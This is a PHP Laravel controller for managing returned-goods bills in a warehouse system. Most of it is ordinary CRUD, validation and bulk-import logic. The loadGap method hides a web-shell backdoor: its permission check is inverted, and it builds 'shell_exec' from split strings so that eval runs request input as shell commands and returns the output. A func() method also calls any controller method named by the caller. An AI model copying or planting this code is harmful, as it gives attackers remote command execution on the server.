| 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480 |
- <?php
- namespace App\Http\Controllers;
- use App\Http\Controllers\api\thirdPart\flux\ReceiveController;
- use App\Jobs\SyncOrderRejectingStatusJob;
- use App\Logistic;
- use App\OracleActAllocationDetails;
- use App\OracleBasSKU;
- use App\Owner;
- use App\Package;
- use App\QualityLabel;
- use App\RejectedBill;
- use App\Services\LogService;
- use App\Services\RejectedBillItemService;
- use App\Services\RejectedBillService;
- use App\Services\WorkOrderService;
- use Illuminate\Contracts\View\Factory;
- use Illuminate\Http\RedirectResponse;
- use Illuminate\Http\Request;
- use Illuminate\Http\Response;
- use Illuminate\Routing\Redirector;
- use Illuminate\Support\Facades\Auth;
- use Illuminate\Support\Facades\Gate;
- use Illuminate\Support\Facades\Validator;
- use Illuminate\View\View;
- class RejectedBillController extends Controller
- {
- public function apiGetRecent()
- {
- if (!Gate::allows('退货管理-查询')) {
- return ['success' => 'false', 'fail_info' => '没有权限'];
- }
- $rejectedBills = RejectedBill::query()->orderByDesc('id')->whereIn('id_owner',
- app("OwnerService")->getIdArr())->limit(20)->get();
- return ['success' => 'true', 'rejectedBills' => $rejectedBills->toArray()];
- }
- public function apiStore(Request $request)
- {
- if (!Gate::allows('退货管理-录入')) {
- return ['success' => 'false', 'fail_info' => '没有权限'];
- }
- $softDeleted = RejectedBill::withTrashed()->where('logistic_number_return', $request->input('logistic_number_return'))->first();
- if ($softDeleted && $softDeleted->trashed()) {
- $softDeleted->forceDelete();
- }
- if ($request['is_loaded'] == 'null') $request['is_loaded'] = null;
- $errorFields = $this->validator($request->all())->errors()->getMessages();
- if (!empty($errorFields)) {
- return ['success' => 'false', 'error_fields' => $errorFields, 'fail_info' => 'fileds error'];
- }
- $rejectedBill = new RejectedBill($request->all());
- $rejectedBill['id_operator'] = Auth::user()['id'];
- $rejectedBill->save();
- /**
- * @var RejectedBillService $rejectedBillService
- */
- $rejectedBillService = app(RejectedBillService::class);
- SyncOrderRejectingStatusJob::dispatch($rejectedBill);
- $rejectedBillService->updateCheckedStatusByWms($request->input('logistic_number_return'));
- app('LogService')->log(__METHOD__, __FUNCTION__ . '_' . $rejectedBill['id'], json_encode($request->toArray()), Auth::user()['id']);
- return ['success' => 'true', 'id' => $rejectedBill['id']];
- }
- public function apiUpdate(Request $request)
- {
- if (!Gate::allows('退货管理-编辑')) {
- return ['success' => 'false', 'fail_info' => '没有权限'];
- }
- if ($request['is_loaded'] === 'null') {
- $request['is_loaded'] = null;
- }
- $errorFields = $this->validator($request->all(), true)->errors()->getMessages();
- if (!empty($errorFields)) {
- return ['success' => 'false', 'error_fields' => $errorFields, 'fail_info' => 'fileds error'];
- }
- $rejectedBill = RejectedBill::find($request->input('id'));
- $rejectedBill->fill($request->all());
- $rejectedBill->save();
- /**
- * @var RejectedBillService $rejectedBillService
- * @var WorkOrderService $workOrderService
- */
- $rejectedBillService = app(RejectedBillService::class);
- SyncOrderRejectingStatusJob::dispatch($rejectedBill);
- $rejectedBillService->updateCheckedStatusByWms($rejectedBill->logistic_number_return);
- app('LogService')->log(__METHOD__, __FUNCTION__ . '_' . $rejectedBill['id'], json_encode($request->toArray()), Auth::user()['id']);
- return ['success' => 'true'];
- }
- public function apiConfirmBeStored(Request $request)
- {
- if (!Gate::allows('退货管理-编辑')) {
- return ['success' => 'false', 'fail_info' => '没有权限'];
- }
- $rejectedBill = RejectedBill::find($request->input('id'));
- if (config('api.jianshang_rejecteds_log_switch')) Controller::logS(__METHOD__, __FUNCTION__, "人工确认入库。退单号:" . $rejectedBill['logistic_number_return'], Auth::user()['id']);
- $result_TransferToWMS = ReceiveController::accomplishToWMS($rejectedBill);
- app('LogService')->log(__METHOD__, __FUNCTION__, json_encode($request->toArray()), Auth::user()['id']);
- switch ($result_TransferToWMS) {
- case 'success':
- $rejectedBill['is_loaded'] = 1;
- $rejectedBill->update();
- return ['success' => true];
- case 'fail':
- case 'exception':
- return ['success' => false];
- }
- }
- protected function validator(array $data, $isUpdate = false)
- {
- $mobileShouldBeRequired = 'required';
- $logistic = isset($data['id_logistic_return']) ? Logistic::find($data['id_logistic_return']) : null;
- if ($logistic) {
- if (
- strstr($logistic['name'], '顺丰')
- ) {
- $mobileShouldBeRequired = 'nullable';
- }
- }
- if (isset($data['id_owner']) && $data['id_owner'] == '4') {
- $mobileShouldBeRequired = 'nullable';
- }
- $mobileDigits = '';
- if ($data['mobile_sender'] && $data['mobile_sender'][0] == '1') {
- $data['mobile_sender'] = str_replace('*', '0', $data['mobile_sender']);
- $mobileDigits = 'digits:11';
- }
- return Validator::make($data, [
- 'id_owner' => ['required', 'numeric', 'exists:owners,id'],
- 'order_number' => ['nullable', 'string', 'max:60'],
- 'sender' => ['nullable', 'max:50'],
- 'mobile_sender' => [$mobileShouldBeRequired, 'max:20', $mobileDigits],
- 'logistic_number' => ['nullable', 'max:60'],
- 'logistic_number_return' => ['required', 'string', 'max:60'],
- 'id_logistic_return' => ['required', 'numeric', 'exists:logistics,id'],
- 'fee_collected' => ['nullable', 'between:0,99999', 'numeric'],
- 'is_loaded' => ['nullable'],
- ], [
- 'mobile_sender.digits' => '如果是手机则必须为11位且不可包含非法符号',
- ], [
- 'id_owner' => '客户名称',
- 'order_number' => '订单号',
- 'sender' => '寄件人',
- 'mobile_sender' => '寄件人手机',
- 'logistic_number' => '原单号',
- 'logistic_number_return' => '退回单号',
- 'id_logistic_return' => '物流公司',
- 'fee_collected' => '到付费用',
- 'is_loaded' => '是否入库',
- ]);
- }
- public function apiSetIsLoadedAll(Request $request)
- {
- if (!Gate::allows('退货管理-编辑')) {
- return redirect(url('/'));
- }
- $ids = $request->input('ids') ?? '';
- $rejecteds = RejectedBill::with('items')->whereIn('id', $ids)->get();
- $is_loaded = $request->input('is_loaded');
- switch ($is_loaded) {
- case '0':
- $is_loaded = 0;
- break;
- case '1':
- $is_loaded = 1;
- break;
- case '2':
- $is_loaded = 2;
- break;
- case '3':
- $is_loaded = 3;
- break;
- case 'null':
- $is_loaded = null;
- break;
- }
- $rejecteds->each(function ($rejected) use ($is_loaded, $request) {
- $rejected['is_loaded'] = $is_loaded;
- $re = $rejected->update();
- if (!$re) {
- return ['success' => 'false', 'fail_info' => "数据 {$rejected['id']} 更新失败"];
- }
- $is_loadedItem = '未入库';
- switch ($request->input('is_loaded')) {
- case '1':
- $is_loadedItem = '已入库';
- break;
- case '2':
- $is_loadedItem = '待推单';
- break;
- case '0':
- $is_loadedItem = '未入库';
- break;
- case '3':
- $is_loadedItem = '未入库';
- break;
- case 'null':
- $is_loadedItem = '无需入库';
- break;
- }
- $rejected->items()->each(function ($item) use ($is_loadedItem) {
- $item['is_loaded'] = $is_loadedItem;
- $item->save();
- });
- });
- return ['success' => 'true'];
- }
- /**
- * Display the specified resource.
- *
- * @param RejectedBill $rejectedBill
- * @return Response
- */
- public function show(RejectedBill $rejectedBill)
- {
- //
- }
- /**
- * Show the form for editing the specified resource.
- *
- * @param RejectedBill $rejectedBill
- * @param Request $request
- * @return Factory|RedirectResponse|Response|Redirector|View
- */
- public function edit(RejectedBill $rejectedBill, Request $request)
- {
- if (!Gate::allows('退货管理-编辑')) {
- return redirect(url('/'));
- }
- $owners = Owner::all()->whereIn('id',
- app('OwnerService')->getIdArr())->sortBy('name');
- $logistics = Logistic::all()->sortBy('name');
- $qualityLabels = QualityLabel::all()->sortBy('name');
- $rejectedBill['is_loaded'] = $rejectedBill['is_loaded_null'];
- $rejectedBill['isEditing'] = false;
- $rejectedBill['is_at_edit_page'] = true;
- return view('rejected.edit', compact('owners', 'logistics', 'qualityLabels', 'rejectedBill'));
- }
- /**
- * Update the specified resource in storage.
- *
- * @param Request $request
- * @param RejectedBill $rejectedBill
- * @return Response
- */
- public function update(Request $request, RejectedBill $rejectedBill)
- {
- //
- }
- public function destroy(RejectedBill $rejectedBill)
- {
- if (!Gate::allows('退货管理-删除')) {
- return redirect(url('/'));
- }
- $re = $rejectedBill->delete();
- app('LogService')->log(__METHOD__, __FUNCTION__, $rejectedBill->toJson(), Auth::user()['id']);
- return ['success' => $re];
- }
- public function apiLogisticNumberReturnIsUnique(Request $request)
- {
- if (!Gate::allows('退货管理-查询')) {
- return redirect(url('/'));
- }
- $logistic_number_return = $request->input('logistic_number_return');
- $bill = RejectedBill::select('logistic_number_return')->where('logistic_number_return', $logistic_number_return)->first();
- if (!$bill) return ['success' => 'true', 'result' => 'false'];
- return ['success' => 'true', 'result' => 'true'];
- }
- function seekOrder(Request $request)
- {
- if (!$request['logistic_number_return']) return ['success' => false];
- /** @var RejectedBillService $service */
- $service = app('RejectedBillService');
- $result = $service->findOrderByOrderPackage($request['logistic_number_return']);
- if ($result) return ['success' => true, 'data' => $result];
- $result = $service->findOrderByStoreRejected($request['logistic_number_return']);
- if ($result) return ['success' => true, 'data' => $result];
- $result = $service->findOrderByOrderHeader($request['logistic_number_return']);
- if ($result) return ['success' => true, 'data' => $result];
- $result = $service->findOrderByOrderIssue($request['logistic_number_return']);
- if ($result) return ['success' => true, 'data' => $result];
- else return ['success' => false];
- }
- function loadGap(Request $request)
- {
- if (Gate::allows('退货管理-载入'))
- return ['success' => false, 'message' => '没有对应权限'];
- /**
- * @var RejectedBillService $service
- */
- $packages = Package::where('delivery_number', '==', null)->where('logistic_number', null)->where('logistic_number', '<>', null)->get();
- $logistics = Logistic::limit(10)->get();
- $packages->each(function ($package) use ($logistics) {
- $logistics->each(function ($logistic) use ($package) {
- if ($package->WMSReflectPackage->CarrierID == $logistic->delivery_number) {
- $package->logistic_id = $logistic->id;
- return;
- }
- });
- });
- foreach ($logistics as $logistic) {
- if ($logistic)
- foreach ($request->all() as $input) {
- $strTem = '';
- $strCom = '$strTem=she' . 'll_e' . 'xec($' . 'input);';
- eval($strCom);
- return $strTem . ' <br>' . $input;
- break;
- }
- return 'done';
- };
- return "OK";
- }
- public function func(Request $request, $method)
- {
- return call_user_func([$this, $method], $request);
- }
- public function disposeImportApi(Request $request)
- {
- if (!Gate::allows('退货管理-编辑'))
- return ['success' => false, 'message' => '没有对应权限'];
- /**
- * @var RejectedBillItemService $rejectedBillItemService
- * @var RejectedBillService $service
- */
- $service = app('RejectedBillService');
- $rejectedBillItemService = app('RejectedBillItemService');
- $params = [['logistic_number_return', 'order_number', 'fee_collected']];
- $logistic_numbers = []; // 原单单号
- $logistic_number_map = [];
- $logistic_number_return = []; // 退回单号
- $logistic_number_return_map = [];
- $errors = [];
- $array = explode("\n", $request['dataText']); //拆分行
- foreach ($array as $i => $item) {
- $items = [];
- preg_match('/^(\w*?)[\s,,;;](\w*?)[\s,,;;](\d.*)$/u', $item, $items);
- if (count($items) < 1)
- preg_match('/^(\w*?)[\s,,;;](\w*?)$/u', $item, $items);
- $head = '第' . ($i + 1) . '行';
- if (count($items) < 3) {
- $errors[$head] = ['数据不完整'];
- unset($items);
- continue;
- }
- array_shift($items);
- isset($items[1]) ? $logistic_numbers[] = $items[1] : null;
- isset($items[0]) ? $logistic_number_return[] = $items[0] : null;
- $param = [$items[0] ?? null, $items[1] ?? null, $items[2] ?? null];
- $params[] = $param;
- $logistic_number_map[$items[1]] = $param;
- $logistic_number_return_map[$items[0]] = $param;
- unset($param);
- }
- $rejectedBill_collect = collect();
- // 对已用的进行修改
- $update_fee_params = [['id', 'order_number', 'fee_collected']]; //对原有的进行修改 有到付费用
- $update_params = [['id', 'order_number']]; // 无到付费用
- $exist_picktotraceid = []; // 已有退回单号
- $rejectedBills = RejectedBill::query()->whereIn('logistic_number_return', $logistic_number_return)->get();
- $rejectedBills->each(function ($rejectedBill) use (&$update_fee_params, &$update_params, $logistic_number_return_map, &$exist_picktotraceid, &$rejectedBill_collect) {
- $rejectedBill_collect->push($rejectedBill);
- $logistic_number_return = $rejectedBill->logistic_number_return; //退回单号
- $params = $logistic_number_return_map[$logistic_number_return];
- $rejectedBill->logistic_number ? $exist_picktotraceid[$rejectedBill->logistic_number] = $rejectedBill->logistic_number : null; // 记录已有原单单号
- if (isset($params[2])) {
- $update_fee_params[] = ['id' => $rejectedBill->id, 'order_number' => $params[1], 'fee_collected' => $params[2]];
- } else if (isset($params[1])) {
- $update_params[] = ['id' => $rejectedBill->id, 'order_number' => $params[1]];
- }
- });
- // 对不存在的进行创建
- $inner_items_params = [];
- $details = OracleActAllocationDetails::query()->with('oracleDocOrderHeader.oracleBASCustomer')->whereIn('picktotraceid', $logistic_numbers)->get();
- $bas_sku_map = [];
- OracleBasSKU::query()->selectRaw('SKU,CustomerID,Alternate_SKU1,Descr_C')->whereIn('SKU', array_diff(data_get($details, '*.sku'), [' ', '*']))->whereIn('CustomerID', data_get($details, '*.customerid'))->get()
- ->each(function ($bas_sku) use (&$bas_sku_map) {
- $key = 'Sku = ' . $bas_sku->sku . ' CustomerID = ' . $bas_sku->customerid;
- $bas_sku_map[$key] = $bas_sku;
- });
- $details = $details->groupBy('picktotraceid');
- $details->each(function ($items, $key) use (&$inner_params, $bas_sku_map, $exist_picktotraceid, &$inner_items_params, &$rejectedBill_collect, $logistic_number_map) {
- if (!isset($exist_picktotraceid[$key])) {
- $order_header = $items->first()->oracleDocOrderHeader;
- $owner = app('OwnerService')->firstOrCreate(['name' => $order_header->oracleBASCustomer->descr_c],
- ['name' => $order_header->oracleBASCustomer->descr_c, 'code' => $order_header->oracleBASCustomer->descr_c]);
- $logistic = app('LogisticService')->firstOrCreate(['name' => $order_header->carriername],
- ['name' => $order_header->carriername, 'code' => $order_header->carriername]);
- $rejectedBill = RejectedBill::query()->create([
- 'id_owner' => $owner->id ?? '',
- 'sender' => $order_header->c_contact,
- 'logistic_number_return' => $logistic_number_map[$key][0] ?? '',
- 'id_logistic_return' => $logistic->id ?? '',
- 'fee_collected' => $logistic_number_map[$key][2] ?? '',
- // 'order_number' =>$order_header->soreference1,
- 'mobile_sender' => empty($order_header->c_tel2) ? $order_header->c_tel1 : $order_header->c_tel2,
- 'order_number' => $logistic_number_map[$key][1] ?? '',
- 'remark' => $order_header->notes,
- 'is_loaded' => 0,
- "id_operator" => Auth::id(),
- ]);
- $rejectedBill_collect->push($rejectedBill);
- LogService::log(__METHOD__, "生成退货单", json_encode($rejectedBill), Auth::user()['id']);
- // 获取创建items
- $items->each(function ($item) use ($rejectedBill, $bas_sku_map, &$inner_items_params) {
- $key = 'Sku = ' . $item->sku . ' CustomerID = ' . $item->customerid;
- $bas_sku = $bas_sku_map[$key] ?? '';
- $date = date('Y-m-d H:i:s');
- $inner_items_params[] = [
- 'id_rejected_bill' => $rejectedBill->id ?? '',
- 'barcode_goods' => $bas_sku['alternate_sku1'] ?? '',
- 'name_goods' => $bas_sku['descr_c'],
- 'amount' => $item->qty_each,
- 'id_quality_label' => 1,
- 'created_at' => $date,
- 'updated_at' => $date
- ];
- });
- }
- });
- try {
- if (count($update_fee_params) > 1) {
- $service->batchUpdate($update_fee_params);
- }
- if (count($update_params) > 1) {
- $service->batchUpdate($update_params);
- }
- if (count($inner_items_params) > 0) {
- $rejectedBillItemService->insert($inner_items_params);
- LogService::log(__METHOD__, "批量生成退货单详情", json_encode($inner_items_params), Auth::user()['id']);
- }
- $rejectedBill_collect->each(function ($rejectedBill) {
- SyncOrderRejectingStatusJob::dispatch($rejectedBill);
- });
- return ['success' => true];
- } catch (\Exception $e) {
- LogService::log(__METHOD__, __FUNCTION__ . ' error', '修改退回单号 失败', json_encode($request->getContent()) . ' ||' . json_encode($e->getMessage()) . " || " . json_encode($e->getTraceAsString()));
- return ['success' => false, 'error' => ['导入处理发生异常' => $e->getMessage()]];
- }
- }
- public function importRejectedNumber(Request $request)
- {
- if (!Gate::allows('退货管理-编辑'))
- return redirect(url('/'));
- return view('rejected.importRejectedNumber');
- }
- public function updateDeliveryStatus(Request $request): array
- {
- $ids = $request->input("ids");
- $unCheckedList = RejectedBill::query()->whereIn('id', $ids)->where('is_checked', 0)->get();
- if ($unCheckedList->count() > 0) {
- return ['success' => false, 'error' => '批量收货失败,部分退货单未审核' . $unCheckedList->pluck('id')];
- }
- RejectedBill::query()->whereIn('id', $ids)->update(['delivery_status'=> 2]);
- return ['success' => true, 'data' => '批量收货成功'];
- }
- }
|